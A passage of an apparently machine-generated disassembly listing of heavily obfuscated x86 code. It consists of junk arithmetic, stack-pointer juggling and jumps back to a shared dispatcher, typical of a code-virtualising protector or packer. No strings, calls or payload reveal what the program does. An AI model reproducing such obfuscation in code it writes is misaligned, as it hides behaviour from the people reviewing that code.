		add	esi, 1CEB6C08h
		jmp	loc_5916C1
; ---------------------------------------------------------------------------


loc_594B14:				; CODE XREF: sub_58A891+587Cj
		inc	dh
		not	dh
		sub	dh, 0F5h
		jmp	loc_593B78
; ---------------------------------------------------------------------------


loc_594B20:				; CODE XREF: sub_58A891+7FDCj
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp+20h+var_20]
		pop	esp
		jmp	loc_5988A8
; ---------------------------------------------------------------------------


loc_594B2C:				; CODE XREF: sub_58A891+4668j
		mov	ecx, [esp+40h+var_40]
		sub	esp, 4
		jmp	loc_58F07C
; ---------------------------------------------------------------------------


loc_594B37:				; CODE XREF: sub_58A891+918Bj
		pop	esp
		jmp	loc_597885
; ---------------------------------------------------------------------------


loc_594B3D:				; CODE XREF: sub_58A891+EB90j
		shr	ecx, 0Bh
		push	ebx
		sub	esp, 4
		mov	[esp+50h+var_50], esi
		push	ebx
		jmp	loc_591A82
; ---------------------------------------------------------------------------


loc_594B4D:				; DATA XREF: sub_58A891+3AFBo
		lodsd
		push	684h
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_592A95
; ---------------------------------------------------------------------------


loc_594B5B:				; CODE XREF: sub_58A891+D161j
		pop	esp
		xor	[esp+8+var_8], eax
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594B64:				; CODE XREF: sub_58A891+897Fj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Ah+var_1C+2]
		mov	esp, [esp+1Ah+var_1C+2]
		pop	eax
		and	ecx, ebp
		pop	ebp
		shr	ecx, 0Ah
		jmp	loc_5990F7
; ---------------------------------------------------------------------------


loc_594B7E:				; CODE XREF: sub_58A891+C1F4j
		add	edx, 4
		jmp	loc_592973
; ---------------------------------------------------------------------------


loc_594B86:				; CODE XREF: sub_58A891+A674j
		sub	[esp+12h+var_C+2], ecx
		pop	ecx
		pop	ecx
		mov	eax, [esp+0Ah+var_C+2]
		jmp	loc_59327A
; ---------------------------------------------------------------------------


loc_594B94:				; CODE XREF: sub_58A891+C87Cj
		dec	ecx
		sub	ecx, 16773F68h
		add	ebx, ecx
		mov	ecx, [esp+0Ah+var_C+2]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0Eh+var_10+2]
		pop	esp
		sub	ebx, 4
		xchg	ebx, [esp+0Ah+var_C+2]
		mov	esp, [esp+0Ah+var_C+2]
		mov	[esp+0Ah+var_C+2], eax
		mov	eax, esp
		push	ebp
		push	esi
		mov	esi, 3EDE020Ch
		mov	ebp, esi
		pop	esi
		add	ebp, 0C121FDF8h
		add	eax, ebp
		pop	ebp
		add	eax, 2
		jmp	loc_590463
; ---------------------------------------------------------------------------


loc_594BDB:				; CODE XREF: sub_58A891+F426j
		xchg	ebx, [esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_5951C0
; ---------------------------------------------------------------------------


loc_594BE4:				; CODE XREF: sub_58A891+F92Aj
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ebx
		jmp	loc_591C3E
; ---------------------------------------------------------------------------


loc_594BEF:				; CODE XREF: sub_58A891+10BD3j
		push	ebp
		mov	ebp, 201C97Eh
		sub	esi, ebp
		jmp	loc_5948A3
; ---------------------------------------------------------------------------


loc_594BFC:				; CODE XREF: sub_58A891+B5BCj
		mov	ebp, 2DEB16DDh
		add	ebp, 2EB1355Ah
		and	ebp, 726B4BBFh
		inc	ebp
		jmp	loc_595129
; ---------------------------------------------------------------------------


loc_594C13:				; CODE XREF: sub_58A891+FD61j
		mov	esi, 7AF3086Eh
		shl	esi, 2
		sub	esi, 0B29B32DBh
		add	ebp, esi
		mov	esi, [esp+0Eh+var_10+2]
		add	esp, 4
		xor	edi, ebp
		jmp	loc_5910D3
; ---------------------------------------------------------------------------


loc_594C30:				; CODE XREF: sub_58A891+AD01j
		jo	loc_595A3B
		jmp	loc_58F036
; ---------------------------------------------------------------------------


loc_594C3B:				; CODE XREF: sub_58A891:loc_59038Ej
		inc	ebx
		jmp	loc_5912FD
; ---------------------------------------------------------------------------


loc_594C41:				; CODE XREF: sub_58A891+BC46j
		mov	esi, 2F523534h
		sub	[esp+34h+var_30], esi
		pop	esi
		jmp	loc_58E5AB
; ---------------------------------------------------------------------------


loc_594C50:				; CODE XREF: sub_58A891+C1A4j
		add	ebx, 4
		xchg	ebx, [esp+30h+var_30]
		jmp	loc_5912E6
; ---------------------------------------------------------------------------


loc_594C5E:				; CODE XREF: sub_58A891+9CD2j
		jnz	loc_5996CB
		shl	edx, 7
		jns	loc_5975F3
		push	ecx


loc_594C6E:				; CODE XREF: sub_58A891+F6E3j
		pop	ecx
		jmp	loc_59261F
; ---------------------------------------------------------------------------


loc_594C74:				; CODE XREF: sub_58A891+89C9j
		add	esp, 4
		pop	ebx
		push	edi
		jmp	loc_5914F4
; ---------------------------------------------------------------------------


loc_594C81:				; CODE XREF: sub_58A891+8AF5j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	[esp-8+arg_4]
		pop	edx
		jmp	loc_59A61A
; ---------------------------------------------------------------------------


loc_594C9B:				; CODE XREF: sub_58A891+95BEj
		add	ebp, 4
		jmp	loc_597E19
; ---------------------------------------------------------------------------


loc_594CA6:				; CODE XREF: sub_58A891+F7C2j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_594CAB:				; CODE XREF: sub_58A891+BCE3j
		shr	edi, 3
		xchg	edx, edi
		not	edx
		xchg	edx, edi
		xor	edi, 7F913D7Eh
		push	ecx
		mov	ecx, 77913123h
		add	ecx, 0F07654B8h
		jmp	loc_599849
; ---------------------------------------------------------------------------


loc_594CCB:				; CODE XREF: sub_58A891+7C12j
		jmp	loc_58E9FC
; ---------------------------------------------------------------------------


loc_594CD0:				; CODE XREF: sub_58A891+DA37j
		mov	[esp+14h+var_14], esi
		mov	esi, 56C07B83h
		neg	esi
		shr	esi, 2
		push	edx
		mov	edx, 4FA04BCEh
		jmp	loc_59393B
; ---------------------------------------------------------------------------


loc_594CE8:				; CODE XREF: sub_58A891+734Dj
		push	esi
		mov	esi, 524559E8h
		not	esi
		push	ebp
		mov	ebp, 15DC2A5Ah
		sub	ebp, 68218445h
		sub	esi, ebp
		pop	ebp
		add	ebp, 2A342E4h
		sub	ebp, 1B07E36h
		add	ebp, esi
		add	ebp, 1B07E36h
		sub	ebp, 2A342E4h
		pop	esi
		xchg	ebp, [esp+44h+var_44]
		pop	esp
		jmp	loc_59A27B
; ---------------------------------------------------------------------------


loc_594D23:				; CODE XREF: sub_58A891+5EF9j
		xor	ecx, 82879E67h
		sub	ebx, 29B55931h
		add	ebx, ecx
		add	ebx, 29B55931h
		pop	ecx
		sub	ebx, 4
		push	ebx
		push	[esp+18h+var_14]
		jmp	loc_58E57F
; ---------------------------------------------------------------------------


loc_594D48:				; CODE XREF: sub_58A891+518Ej
		push	edi
		mov	edi, esp
		jmp	loc_5902EF
; ---------------------------------------------------------------------------


loc_594D50:				; CODE XREF: sub_58A891+EA32j
		mov	[esp+28h+var_28], ecx
		pop	dword ptr [eax]
		jmp	loc_59AFC2
; ---------------------------------------------------------------------------


loc_594D5A:				; CODE XREF: sub_58A891+76F0j
		xor	ebx, 0E9A1608h
		add	ebp, ebx
		pop	ebx
		add	ebp, 53A42A1h
		sub	eax, ebp
		pop	ebp
		jmp	loc_59001D
; ---------------------------------------------------------------------------


loc_594D71:				; CODE XREF: sub_58A891+9770j
		add	edi, 4
		push	354Eh
		mov	[esp+50h+var_50], ebp
		mov	ebp, 4
		add	edi, ebp
		jmp	loc_5941CB
; ---------------------------------------------------------------------------


loc_594D8B:				; CODE XREF: sub_58A891+CDD1j
		mov	ebx, 27D70457h
		jmp	loc_59B680
; ---------------------------------------------------------------------------


loc_594D95:				; CODE XREF: sub_58A891+3CE9j
		push	esp
		jmp	loc_599A06
; ---------------------------------------------------------------------------


loc_594D9B:				; CODE XREF: sub_58A891+82C9j
		add	esp, 4
		xchg	edx, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		push	[esp-18h+arg_14]
		pop	eax
		push	ecx
		jmp	loc_5980CC
; ---------------------------------------------------------------------------


loc_594DAE:				; CODE XREF: sub_58A891+9AE3j
		push	[esp+8+var_8]
		jmp	loc_5964F2
; ---------------------------------------------------------------------------


loc_594DB6:				; CODE XREF: sub_58A891:loc_5919C2j
					; sub_58A891+F366j
		shl	bl, 6
		jnp	loc_59752B
		add	bl, 40h
		jbe	loc_591DCE
		push	6895h
		mov	[esp+0Eh+var_10+2], edx
		jmp	loc_58F114
; ---------------------------------------------------------------------------


loc_594DD5:				; CODE XREF: sub_58A891+4820j
		add	ecx, ebp
		add	ecx, 1C322CA0h
		sub	ecx, 3B80316Ah
		push	[esp+30h+var_30]
		pop	ebp
		add	esp, 4
		xchg	ecx, [esp+2Ch+var_2C]
		mov	esp, [esp+2Ch+var_2C]
		mov	ax, word ptr [esp+2Ch+var_2C]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4C6E7951h
		shl	ebp, 2
		inc	ebp
		neg	ebp
		jmp	loc_59201D
; ---------------------------------------------------------------------------


loc_594E11:				; CODE XREF: sub_58A891:loc_58F374j
		or	eax, 719310BFh
		jmp	loc_599426
; ---------------------------------------------------------------------------


loc_594E1B:				; CODE XREF: sub_58A891+CC68j
		pop	ecx
		mov	edi, esi
		pop	esi
		sub	[esp+24h+var_20], edi
		mov	edi, [esp+24h+var_24]
		jmp	loc_58FB0E
; ---------------------------------------------------------------------------


loc_594E2B:				; CODE XREF: sub_58A891+EF5Fj
		mov	esp, [esp+24h+var_24]
		bt	[esp+24h+var_24], eax
		pushf
		jmp	loc_595242
; ---------------------------------------------------------------------------


loc_594E38:				; CODE XREF: sub_58A891+A1E6j
		push	ebp
		mov	ebp, 44AE03D1h
		xor	ebp, 1C32285Dh
		or	esi, ebp
		mov	ebp, [esp+18h+var_18]
		add	esp, 4
		neg	esi
		and	esi, 1FA234A0h
		push	edi
		jmp	loc_599309
; ---------------------------------------------------------------------------


loc_594E5A:				; CODE XREF: sub_58A891+3D46j
		push	ecx
		jmp	loc_59639F
; ---------------------------------------------------------------------------


loc_594E60:				; CODE XREF: sub_58A891+B8D9j
		push	[esp+3Ch+var_3C]
		jmp	loc_590335
; ---------------------------------------------------------------------------


loc_594E68:				; CODE XREF: sub_58A891+78E2j
		mov	ebp, 74B463ADh
		jmp	loc_597AAB
; ---------------------------------------------------------------------------


loc_594E72:				; CODE XREF: sub_58A891+C056j
		xchg	ecx, [esp+12h+var_14+2]
		pop	esp
		jmp	loc_5994C5
; ---------------------------------------------------------------------------


loc_594E7B:				; CODE XREF: sub_58A891+3ECDj
		jns	loc_596C00
		jmp	loc_58E793
; ---------------------------------------------------------------------------
		shr	bl, 7
		mov	ebx, ebp
		pop	ecx


loc_594E8C:				; CODE XREF: sub_58A891+F821j
		sub	esp, 4
		jmp	loc_597F6E
; ---------------------------------------------------------------------------


loc_594E94:				; DATA XREF: sub_58A891+3B63o
		mov	cx, word ptr [esp+8+var_8]
		push	edx
		mov	edx, esp
		jmp	loc_5932B6
; ---------------------------------------------------------------------------


loc_594EA0:				; CODE XREF: sub_58A891+7CA2j
		mov	ecx, 5F5C7F83h
		or	edx, ecx
		pop	ecx
		push	ebx
		mov	ebx, 7BEC13D3h
		push	ebp
		mov	ebp, 0E412EBC0h
		add	ebx, 121556CBh
		add	ebx, ebp
		sub	ebx, 121556CBh
		pop	ebp
		sub	edx, ebx
		jmp	loc_595AB6
; ---------------------------------------------------------------------------


loc_594ECA:				; CODE XREF: sub_58A891+633Fj
		mov	ecx, [esp+1Eh+var_20+2]
		add	esp, 4
		shl	eax, 6
		push	esi
		jmp	loc_59A2F4
; ---------------------------------------------------------------------------


loc_594EDC:				; CODE XREF: sub_58A891+76D2j
		push	edx
		jmp	loc_58FD1C
; ---------------------------------------------------------------------------


loc_594EE2:				; CODE XREF: sub_58A891+B4FDj
		add	esp, 4
		push	4AC3h
		jmp	loc_594F74
; ---------------------------------------------------------------------------


loc_594EEF:				; CODE XREF: sub_58A891+D977j
		xor	edx, 12FA41FFh
		jz	loc_595134
		inc	edx
		xor	edx, 0AD30D8Fh
		mov	ecx, edx
		pop	edx
		jmp	loc_594B86
; ---------------------------------------------------------------------------


loc_594F0A:				; CODE XREF: sub_58A891:loc_58F166j
		neg	dh
		jno	loc_599711
		add	dh, 54h
		jmp	loc_591313
; ---------------------------------------------------------------------------
		mov	ebp, esp
		push	edi
		mov	cl, dh
		mov	ecx, edi


loc_594F21:				; CODE XREF: sub_58A891+B8A3j
		neg	eax
		inc	eax
		jmp	loc_58EDE6
; ---------------------------------------------------------------------------


loc_594F29:				; CODE XREF: sub_58A891+C0F6j
		add	ebp, 4
		push	ebx
		push	eax
		mov	eax, 47241D4Bh
		jmp	loc_5961D4
; ---------------------------------------------------------------------------


loc_594F3B:				; CODE XREF: sub_58A891+5F7Aj
		mov	edx, [esp-0Ch+arg_4]
		push	eax
		jmp	loc_592CF9
; ---------------------------------------------------------------------------


loc_594F44:				; CODE XREF: sub_58A891:loc_58F857j
		sub	esp, 4
		mov	[esp+18h+var_18], edx
		push	78AC1179h
		pop	edx
		sub	edx, 3751059Ch
		xor	edx, 78775044h
		shl	edx, 7
		push	eax
		mov	eax, 1D7E2FF7h
		add	eax, 0E530EC59h
		xor	edx, eax
		jmp	loc_594F9D
; ---------------------------------------------------------------------------


loc_594F74:				; CODE XREF: sub_58A891+A659j
		mov	[esp+14h+var_14], ebp
		mov	ebp, esp
		jmp	loc_598352
; ---------------------------------------------------------------------------


loc_594F7E:				; DATA XREF: sub_58A891+3AEBo
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		push	4682h
		mov	[esp+10h+var_10], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_59338B
; ---------------------------------------------------------------------------


loc_594F9D:				; CODE XREF: sub_58A891+411Bj
					; sub_58A891+A6DEj
		pop	eax
		or	edx, 34AE098Ah
		push	esi
		mov	esi, 342C39D6h
		sub	edx, esi
		pop	esi
		jmp	loc_59B9E1
; ---------------------------------------------------------------------------


loc_594FB2:				; CODE XREF: sub_58A891+D434j
		pop	ecx
		add	ebx, 4
		jmp	loc_595FA0
; ---------------------------------------------------------------------------


loc_594FBB:				; CODE XREF: sub_58A891:loc_58F407j
					; sub_58A891+102CBj
		add	esp, 4
		sub	ebp, 609432C1h
		dec	ebp
		add	ebp, 5FB8FD7Bh
		add	ebx, 18F77293h
		add	ebx, ebp
		sub	ebx, 18F77293h
		pop	ebp
		xor	ebx, [esp+38h+var_38]
		jmp	loc_596E5B
; ---------------------------------------------------------------------------


loc_594FE2:				; CODE XREF: sub_58A891+EC41j
		push	ebp
		jmp	loc_592BCD
; ---------------------------------------------------------------------------


loc_594FE8:				; DATA XREF: sub_58A891+39C3o
		lodsd
		push	ecx
		push	eax
		push	297A1397h
		pop	eax
		neg	eax
		jg	loc_5916A8
		sub	eax, 2C810B7Fh
		jl	loc_591931
		jmp	loc_5941A4
; ---------------------------------------------------------------------------
		sub	ebx, edx
		pop	edx
		mov	ah, cl
		pop	ebp
		mov	cx, word ptr [esp+8+var_8]
		push	edx
		push	esp
		pop	edx
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_597A0F
; ---------------------------------------------------------------------------


loc_595023:				; CODE XREF: sub_58A891+7DE7j
		or	[edi+1Ch], eax
		push	[esp-0Ch+arg_4]
		pop	eax
		sub	esp, 4
		jmp	loc_5954C5
; ---------------------------------------------------------------------------


loc_595032:				; CODE XREF: sub_58A891+777Ej
		add	bx, 0D89h
		jnz	loc_594AD5
		add	bx, 55B3h
		jns	loc_5951A7
		inc	bx
		push	eax
		pop	esi


loc_59504C:				; CODE XREF: sub_58A891+C695j
		sub	esp, 4
		jmp	loc_595FE1
; ---------------------------------------------------------------------------


loc_595054:				; CODE XREF: sub_58A891+A09Bj
		and	ebp, 67D97656h
		add	ebp, 70F11FBDh
		add	ebp, 75A01FABh
		shr	ebp, 4
		push	ecx
		mov	ecx, 29AA733h
		xor	ebp, ecx
		pop	ecx
		add	esi, 35332337h
		add	esi, ebp
		sub	esi, 35332337h
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		movzx	ecx, al
		sub	esp, 4
		mov	[esp+14h+var_14], eax
		push	71AFh
		jmp	loc_59AF9F
; ---------------------------------------------------------------------------


loc_5950A5:				; CODE XREF: sub_58A891+68D7j
		add	eax, 23D4A20Ah
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		mov	[esp+40h+var_40], edx
		mov	edx, esp
		jmp	loc_5964BF
; ---------------------------------------------------------------------------


loc_5950C0:				; CODE XREF: sub_58A891+7BC6j
		mov	ebp, esp
		jmp	loc_591B3B
; ---------------------------------------------------------------------------


loc_5950C7:				; CODE XREF: sub_58A891+540Bj
		add	ebp, esi
		push	[esp+40h+var_40]
		pop	esi
		add	esp, 4
		jmp	loc_591D05
; ---------------------------------------------------------------------------


loc_5950D8:				; CODE XREF: sub_58A891+8EA3j
		push	ebx
		push	ebp
		pop	ebx
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	32A6h
		mov	[esp+8+var_8], eax
		push	7B01h
		jmp	loc_5971DE
; ---------------------------------------------------------------------------


loc_5950F3:				; CODE XREF: sub_58A891+F8DDj
		add	edi, esi
		pop	esi
		sub	ebp, edi
		pop	edi
		add	eax, ebp
		jmp	loc_598EC7
; ---------------------------------------------------------------------------


loc_595100:				; CODE XREF: sub_58A891+829Bj
		push	[esp+14h+var_14]
		mov	ecx, [esp+18h+var_18]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp+1Ch+var_1C]
		pop	esp
		push	4825h
		mov	[esp+1Ch+var_1C], ebp
		jmp	loc_58F430
; ---------------------------------------------------------------------------


loc_595129:				; CODE XREF: sub_58A891+A37Dj
		sub	ebp, 50084834h
		jmp	loc_59802C
; ---------------------------------------------------------------------------


loc_595134:				; CODE XREF: sub_58A891+A664j
		inc	edx
		xor	edx, 0AD30D8Fh
		mov	ecx, edx
		pop	edx
		jmp	loc_5980BC
; ---------------------------------------------------------------------------


loc_595143:				; CODE XREF: sub_58A891+DA8Dj
		add	al, ch
		jmp	loc_59B0F9
; ---------------------------------------------------------------------------


loc_59514A:				; CODE XREF: sub_58A891+9589j
		pop	edi
		push	esi
		push	[esp+4Ch+var_48]
		pop	esi
		pop	[esp+4Ch+var_4C]
		mov	esp, [esp+48h+var_48]
		ror	byte ptr [esp+48h+var_48], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595160:				; CODE XREF: sub_58A891+10150j
		mov	ah, 0A5h
		sub	ah, 0FFh
		shl	ah, 6
		not	ah
		inc	ah
		neg	ah
		push	edx
		mov	dl, 0A9h
		jmp	loc_592B5F
; ---------------------------------------------------------------------------


loc_595176:				; CODE XREF: sub_58A891:loc_599395j
		xor	esi, 2FD15A98h
		add	esi, 1E89235Ah
		jg	loc_595E3C
		jmp	loc_595CA6
; ---------------------------------------------------------------------------
		mov	[esp+50h+var_50], ecx
		mov	ebx, edi
		sub	al, 0F7h


loc_595194:				; CODE XREF: sub_58A891+DAE8j
		add	esi, 5E3E2D41h
		sub	esi, ebp
		sub	esi, 5E3E2D41h
		jmp	loc_591AB1
; ---------------------------------------------------------------------------


loc_5951A7:				; CODE XREF: sub_58A891+A7B1j
					; sub_58A891+EE83j ...
		pop	esp
		movzx	ecx, ax
		push	43B6h
		mov	[esp+66h+var_68+2], ecx
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5951B8:				; CODE XREF: sub_58A891+D19Fj
		mov	[esp+66h+var_68+2], ebp
		jmp	loc_59B97F
; ---------------------------------------------------------------------------


loc_5951C0:				; CODE XREF: sub_58A891+A34Ej
		shr	[esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5951C9:				; CODE XREF: sub_58A891+562Fj
		pop	[esp+14h+var_14]
		jmp	loc_590810
; ---------------------------------------------------------------------------


loc_5951D1:				; CODE XREF: sub_58A891+51B2j
		push	edi
		mov	edi, 3C9E2897h
		sub	edi, 1DFD7D84h
		shr	edi, 6
		dec	edi
		jmp	loc_59059A
; ---------------------------------------------------------------------------


loc_5951E6:				; CODE XREF: sub_58A891+834Cj
		add	ebp, esi
		sub	ebp, 34123FDCh
		pop	esi
		sub	esp, 4
		mov	[esp+4Ch+var_4C], ebp
		push	[esp+4Ch+var_48]
		mov	ebp, [esp+50h+var_50]
		add	esp, 4
		jmp	loc_595DC5
; ---------------------------------------------------------------------------


loc_595204:				; CODE XREF: sub_58A891+53E2j
		dec	esi
		js	loc_591E31
		xor	esi, 675E6F24h
		mov	edx, esi
		jmp	loc_592A6B
; ---------------------------------------------------------------------------


loc_595218:				; CODE XREF: sub_58A891+CD40j
		sub	ebx, 4
		xchg	ebx, [esp+44h+var_44]
		jmp	loc_594841
; ---------------------------------------------------------------------------


loc_595226:				; CODE XREF: sub_58A891+E0B8j
		push	dword ptr [edi+eax*4]
		push	[esp+48h+var_48]
		push	[esp+4Ch+var_4C]
		jmp	loc_58EEFE
; ---------------------------------------------------------------------------


loc_595234:				; CODE XREF: sub_58A891+8706j
		movzx	cx, al
		jmp	loc_59AF87
; ---------------------------------------------------------------------------


loc_59523D:				; CODE XREF: sub_58A891+5492j
		jmp	loc_59BB36
; ---------------------------------------------------------------------------


loc_595242:				; CODE XREF: sub_58A891+A5A2j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_595247:				; CODE XREF: sub_58A891+47EEj
		mov	eax, esp
		sub	esp, 4
		mov	[esp+30h+var_30], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp+30h+var_30]
		add	esp, 4
		push	6144h
		mov	[esp+30h+var_30], eax
		push	[esp+30h+var_2C]
		mov	eax, [esp+34h+var_34]
		push	ecx
		mov	ecx, esp
		jmp	loc_5992AB
; ---------------------------------------------------------------------------


loc_59527C:				; CODE XREF: sub_58A891+7B40j
		mov	[esp+2Ch+var_2C], ebx
		push	[esp+2Ch+var_28]
		jmp	loc_5999DB
; ---------------------------------------------------------------------------


loc_595288:				; CODE XREF: sub_58A891+AC1Aj
		and	edx, 3B710368h
		push	ecx
		jmp	loc_595A3B
; ---------------------------------------------------------------------------


loc_595294:				; DATA XREF: sub_58A891+3A37o
		movzx	ax, byte ptr [edx]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		push	ebx
		mov	ebx, 133A080Eh
		or	ebx, 22446E0Bh
		neg	ebx
		sub	ebx, 1E64DECh
		sub	ebx, 3D460D66h
		jmp	loc_593A79
; ---------------------------------------------------------------------------


loc_5952C1:				; CODE XREF: sub_58A891+E07Ej
		xor	edi, 3481033Ch
		or	edi, 4D716E2Dh
		push	ebx
		mov	ebx, 632C029Ch
		inc	ebx
		shl	ebx, 4
		inc	ebx
		and	ebx, 4B800B41h
		sub	ebx, 0C469F06Eh
		add	edi, ebx
		pop	ebx
		sub	edx, edi
		pop	edi
		push	ecx
		jmp	loc_595E79
; ---------------------------------------------------------------------------


loc_5952F0:				; CODE XREF: sub_58A891+FEDBj
		mov	ebx, 6B6CF2h
		xor	ebx, esi
		jmp	loc_59116D
; ---------------------------------------------------------------------------


loc_5952FC:				; CODE XREF: sub_58A891+5E52j
		push	edi
		push	edx
		push	79416C32h
		mov	edx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_591866
; ---------------------------------------------------------------------------


loc_595311:				; CODE XREF: sub_58A891+9D68j
		add	ecx, 576A3393h
		pop	eax
		add	ecx, 2
		jmp	loc_59132C
; ---------------------------------------------------------------------------


loc_595320:				; CODE XREF: sub_58A891+9A02j
		mov	esi, 41652E43h
		jmp	loc_59A804
; ---------------------------------------------------------------------------


loc_59532A:				; CODE XREF: sub_58A891+6107j
		mov	[esp+0], ebx
		mov	bl, 0CAh
		shr	bl, 3
		neg	bl
		jmp	loc_5960C8
; ---------------------------------------------------------------------------


loc_595339:				; DATA XREF: sub_58A891+39EBo
		sub	esp, 4
		jmp	loc_5949FB
; ---------------------------------------------------------------------------


loc_595341:				; CODE XREF: sub_58A891+42B8j
		not	ebp
		push	esi
		jmp	loc_596328
; ---------------------------------------------------------------------------


loc_595349:				; CODE XREF: sub_58A891+D4BEj
		push	edi
		jmp	loc_596274
; ---------------------------------------------------------------------------


loc_59534F:				; CODE XREF: sub_58A891+AEE5j
		push	1BDFh
		jmp	loc_5922EB
; ---------------------------------------------------------------------------


loc_595359:				; CODE XREF: sub_58A891+E75Fj
					; sub_58A891+FE12j
		mov	bl, 0B2h
		sub	al, bl
		pop	ebx
		jmp	loc_5904DC
; ---------------------------------------------------------------------------


loc_595363:				; CODE XREF: sub_58A891+BA76j
		mov	edx, 4
		sub	ebp, 6C98073Dh
		jmp	loc_58F6F8
; ---------------------------------------------------------------------------


loc_595373:				; CODE XREF: sub_58A891+97F4j
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		jmp	loc_590CB4
; ---------------------------------------------------------------------------


loc_595380:				; CODE XREF: sub_58A891+8E56j
		pop	[esp+50h+var_50]
		mov	esp, [esp+4Ch+var_4C]
		mov	ax, word ptr [esp+4Ch+var_4C]
		jmp	loc_59B2DF
; ---------------------------------------------------------------------------


loc_59538F:				; DATA XREF: sub_58A891+3BFBo
		mov	cx, word ptr [esp+8+var_8]
		jmp	loc_59061F
; ---------------------------------------------------------------------------


loc_595398:				; CODE XREF: sub_58A891+7523j
					; sub_58A891+E84Ej
		pop	edi
		jmp	loc_598FD3
; ---------------------------------------------------------------------------


loc_59539E:				; CODE XREF: sub_58A891+3D15j
		pop	ebp
		xor	eax, esi
		jmp	loc_58F30D
; ---------------------------------------------------------------------------


loc_5953A6:				; CODE XREF: sub_58A891+8D29j
		push	4902h
		mov	[esp+1Ch+var_1C], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+1Ch+var_1C]
		jmp	loc_59BC23
; ---------------------------------------------------------------------------


loc_5953C4:				; CODE XREF: sub_58A891+E593j
					; sub_58A891+10259j
		push	ebx
		mov	ebx, esp
		push	ecx
		push	edi
		push	ecx
		jmp	loc_5948CC
; ---------------------------------------------------------------------------


loc_5953CF:				; CODE XREF: sub_58A891:loc_595C70j
					; sub_58A891:loc_59B0A9j
		dec	ah
		jno	loc_592FC6
		jmp	loc_58F084
; ---------------------------------------------------------------------------
		push	3820086Fh


loc_5953E1:				; CODE XREF: sub_58A891+5805j
					; sub_58A891+59D4j ...
		add	edi, 4
		xchg	edi, [esp+30h+var_30]
		pop	esp
		add	edi, 4
		push	ebp
		jmp	loc_5937B3
; ---------------------------------------------------------------------------


loc_5953F4:				; CODE XREF: sub_58A891+CEA8j
		xchg	ebx, [esp+30h+var_30]
		jmp	loc_592003
; ---------------------------------------------------------------------------


loc_5953FC:				; CODE XREF: sub_58A891+C331j
		add	esp, 4
		jmp	loc_599F41
; ---------------------------------------------------------------------------


loc_595404:				; CODE XREF: sub_58A891+9451j
		push	edx
		mov	edx, eax
		jmp	loc_59139C
; ---------------------------------------------------------------------------


loc_59540C:				; CODE XREF: sub_58A891+53FEj
		add	ecx, edx
		sub	ecx, 1AA35F65h
		pop	edx
		jmp	loc_5975F3
; ---------------------------------------------------------------------------


loc_59541A:				; CODE XREF: sub_58A891+D00Cj
		sub	edx, 39300DF0h
		jo	loc_592AA7
		and	edx, 553905AAh
		js	loc_591726
		or	edx, 691C3C96h
		jnp	loc_597CA4
		dec	edx
		sub	edx, 545BFA93h
		jmp	loc_591281
; ---------------------------------------------------------------------------


loc_59544A:				; DATA XREF: sub_58A891+3BA3o
		xor	word ptr [esp+8+var_8],	cx
		xor	cx, word ptr [esp+8+var_8]
		xor	word ptr [esp+8+var_8],	cx
		push	small 354Ch
		mov	word ptr [esp+0Ah+var_C+2], cx
		not	word ptr [esp+0Ah+var_C+2]
		mov	cx, word ptr [esp+0Ah+var_C+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_597259
; ---------------------------------------------------------------------------


loc_595474:				; DATA XREF: sub_58A891+3ACBo
		push	dword ptr fs:[edx]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59547C:				; CODE XREF: sub_58A891+D459j
		add	eax, 2
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		push	[esp+10h+var_C]
		jmp	loc_595880
; ---------------------------------------------------------------------------


loc_595491:				; CODE XREF: sub_58A891+70D9j
		add	eax, ecx
		sub	eax, 61423A8Ch
		pop	ecx
		add	eax, 7A3E50F9h
		add	eax, ebx
		sub	eax, 7A3E50F9h
		push	edx
		mov	edx, 6A6A70C4h
		jmp	loc_595288
; ---------------------------------------------------------------------------


loc_5954B0:				; CODE XREF: sub_58A891+6B06j
		mov	esi, 43AE6ACCh
		sub	esi, 43AE6AC8h
		mov	ebx, esi
		pop	esi
		add	ecx, ebx
		jmp	loc_595F15
; ---------------------------------------------------------------------------


loc_5954C5:				; CODE XREF: sub_58A891+A79Cj
		mov	[esp-8+arg_0], ecx
		mov	ecx, esp
		add	ecx, 4
		push	37CFh
		mov	[esp+0], esi
		mov	esi, 711D6522h
		sub	esp, 4
		mov	[esp+0], ebx
		mov	ebx, 72007D10h
		jmp	loc_593F37
; ---------------------------------------------------------------------------


